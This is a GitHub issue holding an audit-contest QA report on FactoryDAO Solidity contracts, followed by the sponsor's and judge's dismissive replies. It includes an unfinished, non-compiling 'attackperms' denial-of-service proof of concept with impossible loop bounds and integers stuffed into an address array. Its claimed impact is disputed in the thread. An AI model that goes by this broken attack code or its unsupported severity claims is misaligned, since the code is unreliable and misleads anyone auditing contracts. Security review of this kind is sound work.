code-423n4 / 2022-05-factorydao-findings

1 stars 1 forks source link

QA Report #251

Open code423n4 opened 2 years ago

code423n4 commented 2 years ago

Block.timestamp can be manipulated by miners Addpool function can make it >= to make it equal to start time Assign the values to a struct later or use separate variables than assigned it or just revert bec no reason to push 0 bec of failed attempt mayabe an attack can loop over this many times filling The arrays in the structs with 0s and then users with have to go though the arrays to get to the array index and cause a dos and you can overflow the array because its not that much gas and if attacker wanted to they can dos and cause lost of money https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/PermissionlessBasicPoolFactory.sol#L118

Can dos and no lmit Struct MerkleTree and mappings merkleTrees very hard to remember which one it what use better naming https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/MerkleResistor.sol#L109 https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/MerkleLib.sol#L17

Spelling mistake Make eligible https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/MerkleIdentity.sol#L146 Wrong require statements pctUpFront >= 100' https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/MerkleResistor.sol#L82

It should make it this otherwise user might think the variable can be 100 Dos can happen with a external contract in a for loop in a few cases pragma solidity ^0.8.0; import "./perms.sol"; contract smalltime { fallback() external payable {

} } contract attackperms { PermissionlessBasicPoolFactory psf; function changeaddr (address _addr) public payable { psf=PermissionlessBasicPoolFactory(_addr); } uint[] rewardsWeiPerSecondPerTokens; address [] tokenadds; smalltime[] smt;

function callattack(uint startTime, uint maxDeposit, uint[] memory rewardsWeiPerSecondPerToken, uint programLengthDays, address depositTokenAddress, address excessBeneficiary, address[] memory rewardTokenAddresses, bytes32 ipfsHash, bytes32 name )public payable { uint256 MAX_INT = 2**256 - 1;

for (uint i = 0; i < 2**256 - 1; i++){ for (uint i=0; i< 115792089237316195423570985008687907853269984665640564039457584007913129639935;++i){ rewardsWeiPerSecondPerTokens=[i]; smt =[new smalltime()]; address [] rew=[1,1,5,792,0,8,9,2,3,7,3,161,954,235,7,0,9,8,50,8,6,8,7,9,0,78532,69,9,84,6,65,64,5,64,39,45,75,840,79,131,29,63,99,35];

  psf.addPool(10,10000,rewardsWeiPerSecondPerTokens,5,0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,rewardTokenAddresses  ,ipfsHash,name);
}

}

} fallback() external payable {

} }

Which is If put 2**256 and in to a pool without running the function over again in the code above is not finished poc but i don't have enough time to finish my poc .users from using the addpool function wouldn't be able to make a poolwith adding all zeros to pool in another contract. https://github.com/code-423n4/2022-05-factorydao/blob/fc85803cdd6f63c966721855ba52acc04878a716/contracts/PermissionlessBasicPoolFactory.sol#L117

illuzen commented 2 years ago

This contract would take way too much gas, and even if they bork one pool (their own) it doesn't effect other pools...

gititGoro commented 2 years ago

For item 1, miners don't have free reign over timestamps. Just some leeway.

Note to wardens: The readability and formatting of submissions contributes to your final score.